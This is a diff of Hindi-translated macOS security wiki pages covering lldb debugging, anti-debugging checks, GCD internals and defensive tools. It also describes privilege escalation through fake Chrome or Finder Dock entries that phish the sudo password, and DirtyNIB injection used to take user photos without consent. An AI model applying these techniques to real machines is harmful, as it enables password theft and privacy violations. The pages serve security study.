कार्यवाही को रोकें। यदि प्रक्रिया को चलाया गया है (r) या जारी रखा गया है (c), तो यह प्रक्रिया को रोक देगा ...जहाँ भी यह वर्तमान में निष्पादित हो रही है।
breakpoint (b)
b main #कोई भी फ़ंक्शन जिसे main कहा जाता है
b `main #बिन का मुख्य फ़ंक्शन
b set -n main --shlib #संकेतित बिन का मुख्य फ़ंक्शन
breakpoint set -r '\[NSFileManager .*\]$' #कोई भी NSFileManager विधि
breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'
break set -r . -s libobjc.A.dylib # उस पुस्तकालय के सभी फ़ंक्शनों में ब्रेक
b -a 0x0000000100004bd9
br l #ब्रेकपॉइंट सूची
br e/dis #ब्रेकपॉइंट सक्षम/अक्षम करें
breakpoint delete
help
help breakpoint #ब्रेकपॉइंट कमांड की मदद प्राप्त करें
help memory write #मेमोरी में लिखने के लिए मदद प्राप्त करें
मेमोरी को एक नल-टर्मिनेटेड स्ट्रिंग के रूप में प्रदर्शित करें।
x/i
मेमोरी को असेंबली निर्देश के रूप में प्रदर्शित करें।
x/b
मेमोरी को बाइट के रूप में प्रदर्शित करें।
print object (po)
यह उस ऑब्जेक्ट को प्रिंट करेगा जिसका संदर्भ पैरामीटर द्वारा दिया गया है
po $raw
{
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
ध्यान दें कि Apple के अधिकांश Objective-C APIs या विधियाँ ऑब्जेक्ट लौटाती हैं, और इसलिए उन्हें “print object” (po) कमांड के माध्यम से प्रदर्शित किया जाना चाहिए। यदि po अर्थपूर्ण आउटपुट नहीं देता है तो x/b का उपयोग करें
memory
memory read 0x000.... memory read $x0+0xf2a memory write 0x100600000 -s 4 0x41414141 #उस पते में AAAA लिखें memory write -f s $rip+0x11f+7 "AAAA" #पते में AAAA लिखें
disassembly
dis #वर्तमान फ़ंक्शन का डिसासेम्बल करें
dis -n #फ़ंक्शन का डिसासेम्बल करें
dis -n -b #फ़ंक्शन का डिसासेम्बल करें dis -c 6 #6 पंक्तियों का डिसासेम्बल करें dis -c 0x100003764 -e 0x100003768 #एक जोड़ से दूसरे तक dis -p -c 4 #वर्तमान पते से डिसासेम्बल करना शुरू करें
parray
parray 3 (char **)$x1 #x1 रजिस्टर में 3 घटकों का ऐरे जांचें
image dump sections
वर्तमान प्रक्रिया की मेमोरी का मानचित्र प्रिंट करें
image dump symtab
image dump symtab CoreNLP #CoreNLP से सभी प्रतीकों के पते प्राप्त करें
> [!NOTE]
> जब **`objc_sendMsg`** फ़ंक्शन को कॉल किया जाता है, तो **rsi** रजिस्टर **विधि का नाम** एक नल-टर्मिनेटेड (“C”) स्ट्रिंग के रूप में रखता है। lldb के माध्यम से नाम प्रिंट करने के लिए करें:
@@ -430,13 +456,13 @@ settings set target.x86-disassembly-flavor intel
- कमांड **`sysctl hw.model`** "Mac" लौटाता है जब **होस्ट MacOS है** लेकिन जब यह एक VM है तो कुछ अलग लौटाता है।
- **`hw.logicalcpu`** और **`hw.physicalcpu`** के मानों के साथ खेलते हुए कुछ मैलवेयर यह पहचानने की कोशिश करते हैं कि क्या यह एक VM है।
-- कुछ मैलवेयर यह भी **पहचान सकते हैं** कि मशीन **VMware** आधारित है या नहीं MAC पते (00:50:56) के आधार पर।
-- यह भी संभव है कि **यदि एक प्रक्रिया को डीबग किया जा रहा है** तो इसे एक साधारण कोड के साथ जांचा जा सके जैसे:
+- कुछ मैलवेयर यह भी **पहचान सकते हैं** कि मशीन **VMware** आधारित है या नहीं, MAC पते (00:50:56) के आधार पर।
+- यह भी संभव है कि **यदि एक प्रक्रिया को डीबग किया जा रहा है** तो इसे एक साधारण कोड के साथ जांचा जा सके:
- `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //प्रक्रिया को डीबग किया जा रहा है }`
-- यह **`ptrace`** सिस्टम कॉल को **`PT_DENY_ATTACH`** फ्लैग के साथ भी कॉल कर सकता है। यह **डीबग** करने वाले को अटैच और ट्रेस करने से रोकता है।
+- यह **`ptrace`** सिस्टम कॉल को **`PT_DENY_ATTACH`** फ्लैग के साथ भी कॉल कर सकता है। यह **डीबगर** को अटैच और ट्रेस करने से रोकता है।
- आप जांच सकते हैं कि **`sysctl`** या **`ptrace`** फ़ंक्शन को **आयात** किया जा रहा है (लेकिन मैलवेयर इसे डायनामिक रूप से आयात कर सकता है)
- जैसा कि इस लेख में नोट किया गया है, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
-“_संदेश प्रक्रिया # समाप्त हो गई **स्थिति = 45 (0x0000002d)** आमतौर पर यह एक संकेत है कि डीबग लक्ष्य **PT_DENY_ATTACH** का उपयोग कर रहा है_”
+“_संदेश प्रक्रिया # समाप्त हो गई **स्थिति = 45 (0x0000002d)** आमतौर पर यह एक संकेत है कि डिबग लक्ष्य **PT_DENY_ATTACH** का उपयोग कर रहा है_”
## कोर डंप
@@ -444,7 +470,7 @@ settings set target.x86-disassembly-flavor intel
- `kern.coredump` sysctl 1 पर सेट है (डिफ़ॉल्ट रूप से)
- यदि प्रक्रिया suid/sgid नहीं थी या `kern.sugid_coredump` 1 है (डिफ़ॉल्ट रूप से 0)
-- `AS_CORE` सीमा ऑपरेशन की अनुमति देती है। कोड डंप निर्माण को दबाने के लिए `ulimit -c 0` कॉल करके और उन्हें फिर से सक्षम करने के लिए `ulimit -c unlimited` का उपयोग करना संभव है।
+- `AS_CORE` सीमा ऑपरेशन की अनुमति देती है। कोड डंप निर्माण को दबाने के लिए `ulimit -c 0` कॉल करके और उन्हें फिर से सक्षम करने के लिए `ulimit -c unlimited` का उपयोग किया जा सकता है।
इन मामलों में कोर डंप `kern.corefile` sysctl के अनुसार उत्पन्न होते हैं और आमतौर पर `/cores/core/.%P` में संग्रहीत होते हैं।
@@ -456,7 +482,7 @@ ReportCrash **क्रैश होने वाली प्रक्रिय
उपयोगकर्ता के लॉन्चड संदर्भ में **चलने वाली अनुप्रयोगों और अन्य प्रक्रियाओं** के लिए, ReportCrash एक LaunchAgent के रूप में चलता है और उपयोगकर्ता के `~/Library/Logs/DiagnosticReports/` में क्रैश रिपोर्ट सहेजता है।\
डेमन्स, सिस्टम लॉन्चड संदर्भ में **चलने वाली अन्य प्रक्रियाओं** और अन्य विशेषाधिकार प्राप्त प्रक्रियाओं के लिए, ReportCrash एक LaunchDaemon के रूप में चलता है और सिस्टम के `/Library/Logs/DiagnosticReports` में क्रैश रिपोर्ट सहेजता है।
-यदि आप क्रैश रिपोर्टों के बारे में चिंतित हैं **जो Apple को भेजी जा रही हैं** तो आप उन्हें अक्षम कर सकते हैं। यदि नहीं, तो क्रैश रिपोर्टें **यह पता लगाने में सहायक हो सकती हैं कि सर्वर कैसे क्रैश हुआ**।
+यदि आप क्रैश रिपोर्टों के बारे में चिंतित हैं **जो Apple को भेजी जा रही हैं**, तो आप उन्हें अक्षम कर सकते हैं। यदि नहीं, तो क्रैश रिपोर्टें **यह पता लगाने में उपयोगी हो सकती हैं कि सर्वर कैसे क्रैश हुआ**।
```bash
#To disable crash reporting:
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
@@ -487,7 +513,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
```
### Internal Handlers
-**नीचे दिए गए पृष्ठ पर जाएं** यह जानने के लिए कि आप किस ऐप के लिए **निर्धारित स्कीम या प्रोटोकॉल को संभालने के लिए जिम्मेदार है:**
+**नीचे दिए गए पृष्ठ को देखें** यह जानने के लिए कि आप किस ऐप के लिए **निर्धारित स्कीम या प्रोटोकॉल को संभालने के लिए जिम्मेदार है:**
{{#ref}}
../macos-file-extension-apps.md
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
index 301f9eb97..faa345cd3 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
@@ -4,16 +4,16 @@
## Firewalls
-- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): यह प्रत्येक प्रक्रिया द्वारा बनाए गए हर कनेक्शन की निगरानी करेगा। मोड (साइलेंट अनुमति कनेक्शन, साइलेंट अस्वीकार कनेक्शन और अलर्ट) के आधार पर, यह हर बार जब एक नया कनेक्शन स्थापित होता है, आपको **एक अलर्ट दिखाएगा**। इसमें सभी जानकारी देखने के लिए एक बहुत अच्छा GUI भी है।
-- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See फ़ायरवॉल। यह एक बुनियादी फ़ायरवॉल है जो संदिग्ध कनेक्शनों के लिए आपको अलर्ट करेगा (इसमें एक GUI है लेकिन यह Little Snitch के जैसा फैंसी नहीं है)।
+- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): यह प्रत्येक प्रक्रिया द्वारा बनाए गए हर कनेक्शन की निगरानी करेगा। मोड के आधार पर (साइलेंट अनुमति कनेक्शन, साइलेंट अस्वीकार कनेक्शन और अलर्ट) यह हर बार जब एक नया कनेक्शन स्थापित होता है, आपको **एक अलर्ट दिखाएगा**। इसमें सभी जानकारी देखने के लिए एक बहुत अच्छा GUI भी है।
+- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See का फ़ायरवॉल। यह एक बुनियादी फ़ायरवॉल है जो संदिग्ध कनेक्शनों के लिए आपको अलर्ट करेगा (इसमें एक GUI है लेकिन यह Little Snitch के जैसा फैंसी नहीं है)।
## Persistence detection
-- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See एप्लिकेशन जो कई स्थानों में खोज करेगा जहाँ **malware स्थायी हो सकता है** (यह एक एकल-शॉट उपकरण है, निगरानी सेवा नहीं)।
+- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See का एप्लिकेशन जो कई स्थानों में खोज करेगा जहाँ **malware स्थायी हो सकता है** (यह एक-बार का उपकरण है, निगरानी सेवा नहीं)।
- [**BlockBlock**](https://objective-see.org/products/blockblock.html): KnockKnock की तरह, जो स्थिरता उत्पन्न करने वाली प्रक्रियाओं की निगरानी करता है।
## Keyloggers detection
-- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See एप्लिकेशन जो **keyloggers** को खोजने के लिए है जो कीबोर्ड "इवेंट टैप" स्थापित करते हैं
+- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See का एप्लिकेशन जो **keyloggers** को खोजने के लिए है जो कीबोर्ड "इवेंट टैप" स्थापित करते हैं।
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
index 0961c3d36..a4fb73bf8 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
@@ -4,40 +4,40 @@
## Basic Information
-**Grand Central Dispatch (GCD),** जिसे **libdispatch** (`libdispatch.dyld`) के नाम से भी जाना जाता है, macOS और iOS दोनों में उपलब्ध है। यह एक तकनीक है जिसे Apple ने मल्टीकोर हार्डवेयर पर समवर्ती (मल्टीथ्रेडेड) निष्पादन के लिए अनुप्रयोग समर्थन को अनुकूलित करने के लिए विकसित किया है।
+**Grand Central Dispatch (GCD),** जिसे **libdispatch** (`libdispatch.dyld`) के नाम से भी जाना जाता है, macOS और iOS दोनों में उपलब्ध है। यह एक तकनीक है जिसे Apple ने मल्टीकोर हार्डवेयर पर समवर्ती (मल्टीथ्रेडेड) निष्पादन के लिए एप्लिकेशन समर्थन को अनुकूलित करने के लिए विकसित किया है।
-**GCD** **FIFO queues** प्रदान करता है और प्रबंधित करता है, जिनमें आपका अनुप्रयोग **block objects** के रूप में **tasks** सबमिट कर सकता है। डिस्पैच कतारों में सबमिट किए गए ब्लॉक्स को **सिस्टम द्वारा पूरी तरह से प्रबंधित थ्रेड्स के पूल पर निष्पादित किया जाता है।** GCD स्वचालित रूप से डिस्पैच कतारों में कार्यों को निष्पादित करने के लिए थ्रेड्स बनाता है और उन कार्यों को उपलब्ध कोर पर चलाने के लिए शेड्यूल करता है।
+**GCD** **FIFO queues** प्रदान करता है और प्रबंधित करता है, जिनमें आपका एप्लिकेशन **block objects** के रूप में **tasks** सबमिट कर सकता है। डिस्पैच कतारों में सबमिट किए गए ब्लॉक्स को **सिस्टम द्वारा पूरी तरह से प्रबंधित थ्रेड्स के पूल पर निष्पादित किया जाता है।** GCD स्वचालित रूप से डिस्पैच कतारों में कार्यों को निष्पादित करने के लिए थ्रेड्स बनाता है और उन कार्यों को उपलब्ध कोर पर चलाने के लिए शेड्यूल करता है।
> [!TIP]
> संक्षेप में, **समानांतर** में कोड निष्पादित करने के लिए, प्रक्रियाएँ **GCD** को **कोड के ब्लॉक्स** भेज सकती हैं, जो उनके निष्पादन का ध्यान रखेगा। इसलिए, प्रक्रियाएँ नए थ्रेड्स नहीं बनातीं; **GCD दिए गए कोड को अपने स्वयं के थ्रेड्स के पूल के साथ निष्पादित करता है** (जो आवश्यकतानुसार बढ़ या घट सकता है)।
-यह समानांतर निष्पादन को सफलतापूर्वक प्रबंधित करने में बहुत सहायक है, प्रक्रियाओं द्वारा बनाए गए थ्रेड्स की संख्या को काफी कम करता है और समानांतर निष्पादन का अनुकूलन करता है। यह उन कार्यों के लिए आदर्श है जिन्हें **महान समानांतरता** (ब्रूट-फोर्सिंग?) की आवश्यकता होती है या उन कार्यों के लिए जो मुख्य थ्रेड को अवरुद्ध नहीं करना चाहिए: उदाहरण के लिए, iOS पर मुख्य थ्रेड UI इंटरैक्शन को संभालता है, इसलिए कोई भी अन्य कार्यक्षमता जो ऐप को लटका सकती है (खोज, वेब तक पहुंच, फ़ाइल पढ़ना...) इस तरह से प्रबंधित की जाती है।
+यह समानांतर निष्पादन को सफलतापूर्वक प्रबंधित करने में बहुत सहायक है, प्रक्रियाओं द्वारा बनाए गए थ्रेड्स की संख्या को काफी कम करता है और समानांतर निष्पादन का अनुकूलन करता है। यह उन कार्यों के लिए आदर्श है जिन्हें **महान समानांतरता** (ब्रूट-फोर्सिंग?) की आवश्यकता होती है या उन कार्यों के लिए जो मुख्य थ्रेड को अवरुद्ध नहीं करना चाहिए: उदाहरण के लिए, iOS पर मुख्य थ्रेड UI इंटरैक्शन को संभालता है, इसलिए कोई भी अन्य कार्यक्षमता जो ऐप को लटका सकती है (खोज, वेब तक पहुंचना, फ़ाइल पढ़ना...) इस तरह से प्रबंधित की जाती है।
### Blocks
-एक ब्लॉक एक **स्वतंत्र कोड का खंड** है (जैसे एक फ़ंक्शन जिसमें तर्क होते हैं जो एक मान लौटाता है) और यह बाउंड वेरिएबल भी निर्दिष्ट कर सकता है।\
+एक ब्लॉक एक **स्वयं निहित कोड का खंड** है (जैसे एक फ़ंक्शन जिसमें तर्क होते हैं जो एक मान लौटाता है) और यह बाउंड वेरिएबल भी निर्दिष्ट कर सकता है।\
हालांकि, कंपाइलर स्तर पर ब्लॉक्स मौजूद नहीं होते, वे `os_object`s होते हैं। इन वस्तुओं में से प्रत्येक दो संरचनाओं से बना होता है:
-- **block literal**:
+- **block literal**:
- यह **`isa`** फ़ील्ड से शुरू होता है, जो ब्लॉक की कक्षा की ओर इशारा करता है:
- `NSConcreteGlobalBlock` (ब्लॉक्स `__DATA.__const` से)
- `NSConcreteMallocBlock` (हीप में ब्लॉक्स)
- `NSConcreateStackBlock` (स्टैक में ब्लॉक्स)
-- इसमें **`flags`** होते हैं (जो ब्लॉक विवरण में उपस्थित फ़ील्ड को इंगित करते हैं) और कुछ आरक्षित बाइट्स
+- इसमें **`flags`** होते हैं (जो ब्लॉक विवरण में मौजूद फ़ील्ड को इंगित करते हैं) और कुछ आरक्षित बाइट्स
- कॉल करने के लिए फ़ंक्शन पॉइंटर
- ब्लॉक विवरण के लिए एक पॉइंटर
- आयातित ब्लॉक वेरिएबल (यदि कोई हो)
-- **block descriptor**: इसका आकार उस डेटा पर निर्भर करता है जो उपस्थित है (जैसा कि पिछले फ़्लैग में संकेतित है)
+- **block descriptor**: इसका आकार उस डेटा पर निर्भर करता है जो मौजूद है (जैसा कि पिछले फ़्लैग में संकेतित है)
- इसमें कुछ आरक्षित बाइट्स होते हैं
- इसका आकार
- इसमें आमतौर पर एक Objective-C शैली के हस्ताक्षर के लिए एक पॉइंटर होगा ताकि यह पता चल सके कि पैरामीटर के लिए कितनी जगह की आवश्यकता है (फ्लैग `BLOCK_HAS_SIGNATURE`)
-- यदि वेरिएबल संदर्भित हैं, तो इस ब्लॉक में एक कॉपी हेल्पर (शुरुआत में मान की कॉपी करना) और डिस्पोज़ हेल्पर (इसे मुक्त करना) के लिए पॉइंटर्स भी होंगे।
+- यदि वेरिएबल संदर्भित हैं, तो इस ब्लॉक में एक कॉपी हेल्पर (शुरुआत में मान की कॉपी करना) और डिस्पोज हेल्पर (इसे मुक्त करना) के लिए पॉइंटर्स भी होंगे।
### Queues
एक डिस्पैच कतार एक नामित वस्तु है जो निष्पादन के लिए ब्लॉक्स का FIFO क्रम प्रदान करती है।
-ब्लॉक्स को निष्पादित करने के लिए कतारों में सेट किया जाता है, और ये 2 मोड का समर्थन करते हैं: `DISPATCH_QUEUE_SERIAL` और `DISPATCH_QUEUE_CONCURRENT`। बेशक, **सीरियल** वाला **रेस कंडीशन** समस्याओं का सामना नहीं करेगा क्योंकि एक ब्लॉक तब तक निष्पादित नहीं होगा जब तक कि पिछले वाला समाप्त नहीं हो गया। लेकिन **दूसरे प्रकार की कतार में यह हो सकता है**।
+ब्लॉक्स को निष्पादित करने के लिए कतारों में सेट किया जाता है, और ये 2 मोड का समर्थन करते हैं: `DISPATCH_QUEUE_SERIAL` और `DISPATCH_QUEUE_CONCURRENT`। बेशक, **सीरियल** वाला **रेस कंडीशन** समस्याओं का सामना नहीं करेगा क्योंकि एक ब्लॉक तब तक निष्पादित नहीं होगा जब तक कि पिछले वाला समाप्त नहीं हो गया है। लेकिन **दूसरे प्रकार की कतार में यह हो सकता है**।
डिफ़ॉल्ट कतारें:
@@ -57,7 +57,7 @@
- `.root.user-interactive-qos`: उच्चतम प्राथमिकता
- `.root.background-qos.overcommit`
-ध्यान दें कि यह सिस्टम होगा जो **निर्धारित करेगा कि प्रत्येक समय कौन से थ्रेड्स कौन सी कतारों को संभालते हैं** (एकाधिक थ्रेड्स एक ही कतार में काम कर सकते हैं या एक ही थ्रेड विभिन्न कतारों में किसी बिंदु पर काम कर सकता है)
+ध्यान दें कि यह सिस्टम होगा जो **निर्धारित करेगा कि प्रत्येक समय कौन से थ्रेड्स कौन सी कतारों को संभालते हैं** (एक ही कतार में कई थ्रेड्स काम कर सकते हैं या एक ही थ्रेड विभिन्न कतारों में किसी बिंदु पर काम कर सकता है)
#### Attributtes
@@ -65,7 +65,7 @@
### Dispatch objects
-libdispatch द्वारा उपयोग की जाने वाली कई वस्तुएँ हैं और कतारें और ब्लॉक्स केवल उनमें से 2 हैं। इन वस्तुओं को `dispatch_object_create` के साथ बनाया जा सकता है:
+libdispatch द्वारा उपयोग की जाने वाली कई वस्तुएं हैं और कतारें और ब्लॉक्स केवल उनमें से 2 हैं। इन वस्तुओं को `dispatch_object_create` के साथ बनाना संभव है:
- `block`
- `data`: डेटा ब्लॉक्स
@@ -73,7 +73,7 @@ libdispatch द्वारा उपयोग की जाने वाली
- `io`: Async I/O अनुरोध
- `mach`: Mach पोर्ट
- `mach_msg`: Mach संदेश
-- `pthread_root_queue`: pthread थ्रेड पूल के साथ एक कतार और कार्य कतार नहीं
+- `pthread_root_queue`: pthread थ्रेड पूल के साथ एक कतार और कार्य कतारें नहीं
- `queue`
- `semaphore`
- `source`: इवेंट स्रोत
@@ -132,7 +132,7 @@ return 0;
```
## Swift
-**`libswiftDispatch`** एक पुस्तकालय है जो Grand Central Dispatch (GCD) ढांचे के लिए **Swift bindings** प्रदान करता है, जो मूल रूप से C में लिखा गया है।\
+**`libswiftDispatch`** एक पुस्तकालय है जो **Swift bindings** प्रदान करता है Grand Central Dispatch (GCD) ढांचे के लिए जो मूल रूप से C में लिखा गया है।\
**`libswiftDispatch`** पुस्तकालय C GCD APIs को एक अधिक Swift-फ्रेंडली इंटरफेस में लपेटता है, जिससे Swift डेवलपर्स के लिए GCD के साथ काम करना आसान और अधिक सहज हो जाता है।
- **`DispatchQueue.global().sync{ ... }`**
@@ -187,7 +187,7 @@ Backtrace:
वर्तमान में Ghidra न तो ObjectiveC **`dispatch_block_t`** संरचना को समझता है, न ही **`swift_dispatch_block`** को।
-तो अगर आप इसे समझाना चाहते हैं, तो आप बस **उन्हें घोषित कर सकते हैं**:
+तो यदि आप इसे समझाना चाहते हैं, तो आप बस **उन्हें घोषित कर सकते हैं**:
@@ -195,7 +195,7 @@ Backtrace:
-फिर, कोड में एक जगह खोजें जहाँ वे **उपयोग किए गए हैं**:
+फिर, कोड में एक स्थान खोजें जहाँ वे **उपयोग किए गए हैं**:
> [!TIP]
> "block" के सभी संदर्भों को नोट करें ताकि आप समझ सकें कि संरचना का उपयोग किया जा रहा है।
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
index 637becbff..4aa2b2c59 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
@@ -12,7 +12,7 @@ macos-security-protections/macos-tcc/
## Linux Privesc
-कृपया ध्यान दें कि **विशेषाधिकार वृद्धि के बारे में अधिकांश तरकीबें जो Linux/Unix को प्रभावित करती हैं, वे MacOS** मशीनों को भी प्रभावित करेंगी। इसलिए देखें:
+कृपया ध्यान दें कि **विशेषाधिकार वृद्धि के बारे में अधिकांश तरकीबें जो Linux/Unix को प्रभावित करती हैं, वे MacOS** मशीनों को भी प्रभावित करेंगी। तो देखें:
{{#ref}}
../../linux-hardening/privilege-escalation/
@@ -49,7 +49,7 @@ sudo ls
{{#tab name="Chrome Impersonation"}}
कुछ सुझाव:
-- डॉक में जांचें कि क्या वहां एक Chrome है, और इस मामले में उस प्रविष्टि को **हटाएं** और डॉक एरे में **उसी स्थिति** में **नकली** **Chrome प्रविष्टि जोड़ें**।
+- डॉक में जांचें कि क्या वहां एक Chrome है, और इस मामले में उस प्रविष्टि को **हटाएं** और डॉक एरे में **समान स्थिति** में **नकली** **Chrome प्रविष्टि जोड़ें**।
```bash
#!/bin/sh
@@ -126,9 +126,9 @@ killall Dock
- आप **Finder को Dock से हटा नहीं सकते**, इसलिए यदि आप इसे Dock में जोड़ने जा रहे हैं, तो आप असली Finder के ठीक बगल में नकली Finder रख सकते हैं। इसके लिए आपको **Dock array के शुरुआत में नकली Finder प्रविष्टि जोड़ने की आवश्यकता है**।
- एक और विकल्प है कि इसे Dock में न रखें और बस इसे खोलें, "Finder को Finder को नियंत्रित करने के लिए पूछना" इतना अजीब नहीं है।
-- एक और विकल्प **बिना पासवर्ड पूछे root तक पहुंच बढ़ाने** का है, वह है Finder से वास्तव में पासवर्ड मांगना ताकि एक विशेष क्रिया करने के लिए:
-- Finder से **`/etc/pam.d`** में एक नया **`sudo`** फ़ाइल कॉपी करने के लिए कहें (पासवर्ड मांगने वाला प्रॉम्प्ट यह संकेत देगा कि "Finder sudo को कॉपी करना चाहता है")
-- Finder से एक नया **Authorization Plugin** कॉपी करने के लिए कहें (आप फ़ाइल का नाम नियंत्रित कर सकते हैं ताकि पासवर्ड मांगने वाला प्रॉम्प्ट यह संकेत दे कि "Finder Finder.bundle को कॉपी करना चाहता है")
+- एक और विकल्प **बिना पासवर्ड पूछे root तक पहुंच बढ़ाने** का है, वह है Finder से वास्तव में पासवर्ड मांगना ताकि एक विशेषाधिकार प्राप्त क्रिया करने के लिए:
+- Finder से **`/etc/pam.d`** में एक नया **`sudo`** फ़ाइल कॉपी करने के लिए कहें (पासवर्ड के लिए पूछने वाला प्रॉम्प्ट यह संकेत देगा कि "Finder sudo को कॉपी करना चाहता है")
+- Finder से एक नया **Authorization Plugin** कॉपी करने के लिए कहें (आप फ़ाइल का नाम नियंत्रित कर सकते हैं ताकि पासवर्ड के लिए पूछने वाला प्रॉम्प्ट यह संकेत दे कि "Finder Finder.bundle को कॉपी करना चाहता है")
```bash
#!/bin/sh
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md
index b160425ce..5f6ac8e54 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md
@@ -2,11 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
-**तकनीक के बारे में अधिक जानकारी के लिए मूल पोस्ट देखें:** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/) और [**https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/**](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) **द्वारा निम्नलिखित पोस्ट।** यहाँ एक सारांश है:
+**तकनीक के बारे में अधिक जानकारी के लिए मूल पोस्ट देखें:** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/) और [**https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/**](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/)** द्वारा निम्नलिखित पोस्ट।** यहाँ एक सारांश है:
### Nib फ़ाइलें क्या हैं
-Nib (NeXT Interface Builder के लिए संक्षिप्त) फ़ाइलें, Apple के विकास पारिस्थितिकी तंत्र का हिस्सा, अनुप्रयोगों में **UI तत्वों** और उनके इंटरैक्शन को परिभाषित करने के लिए बनाई गई हैं। इनमें विंडो और बटन जैसी अनुक्रमित वस्तुएं शामिल होती हैं, और इन्हें रनटाइम पर लोड किया जाता है। उनके निरंतर उपयोग के बावजूद, Apple अब अधिक व्यापक UI प्रवाह दृश्यता के लिए Storyboards की सिफारिश करता है।
+Nib (NeXT Interface Builder का संक्षिप्त रूप) फ़ाइलें, Apple के विकास पारिस्थितिकी तंत्र का हिस्सा, अनुप्रयोगों में **UI तत्वों** और उनके इंटरैक्शन को परिभाषित करने के लिए बनाई गई हैं। इनमें विंडो और बटन जैसी अनुक्रमित वस्तुएं शामिल हैं, और इन्हें रनटाइम पर लोड किया जाता है। उनकी निरंतर उपयोगिता के बावजूद, Apple अब अधिक व्यापक UI प्रवाह दृश्यता के लिए Storyboards की सिफारिश करता है।
मुख्य Nib फ़ाइल का संदर्भ **`NSMainNibFile`** के मान में `Info.plist` फ़ाइल के अंदर होता है और इसे **`NSApplicationMain`** फ़ंक्शन द्वारा लोड किया जाता है, जो अनुप्रयोग के `main` फ़ंक्शन में निष्पादित होता है।
@@ -32,19 +32,19 @@ display dialog theDialogText
- XCode डिबगर में चलाकर और बटन पर क्लिक करके परीक्षण करें।
-#### एक एप्लिकेशन को लक्षित करना (उदाहरण: Pages)
+#### एक अनुप्रयोग को लक्षित करना (उदाहरण: Pages)
1. **तैयारी**:
- लक्षित ऐप (जैसे, Pages) को एक अलग निर्देशिका (जैसे, `/tmp/`) में कॉपी करें।
-- गेटकीपर समस्याओं से बचने के लिए ऐप को प्रारंभ करें और इसे कैश करें।
-2. **NIB फ़ाइल को ओवरराइट करना**:
-- एक मौजूदा NIB फ़ाइल (जैसे, About Panel NIB) को तैयार की गई DirtyNIB फ़ाइल से बदलें।
+- ऐप को प्रारंभ करें ताकि Gatekeeper समस्याओं से बचा जा सके और इसे कैश किया जा सके।
+2. **NIB फ़ाइल को अधिलेखित करना**:
+- एक मौजूदा NIB फ़ाइल (जैसे, About Panel NIB) को तैयार DirtyNIB फ़ाइल से बदलें।
3. **निष्पादन**:
- ऐप के साथ इंटरैक्ट करके निष्पादन को ट्रिगर करें (जैसे, `About` मेनू आइटम का चयन करना)।
#### प्रमाण का सिद्धांत: उपयोगकर्ता डेटा तक पहुंच
-- उपयोगकर्ता की सहमति के बिना, फ़ोटो जैसी उपयोगकर्ता डेटा तक पहुंचने और निकालने के लिए AppleScript को संशोधित करें।
+- AppleScript को संशोधित करें ताकि उपयोगकर्ता की सहमति के बिना उपयोगकर्ता डेटा, जैसे कि फ़ोटो, तक पहुंच और निकाल सकें।
### कोड नमूना: दुर्भावनापूर्ण .xib फ़ाइल
@@ -52,12 +52,12 @@ display dialog theDialogText
### अन्य उदाहरण
-पोस्ट [https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) में आप एक गंदे निब बनाने के लिए ट्यूटोरियल पा सकते हैं।
+पोस्ट [https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) में आप एक ट्यूटोरियल पा सकते हैं कि कैसे एक गंदा nib बनाया जाए।
### लॉन्च प्रतिबंधों का समाधान
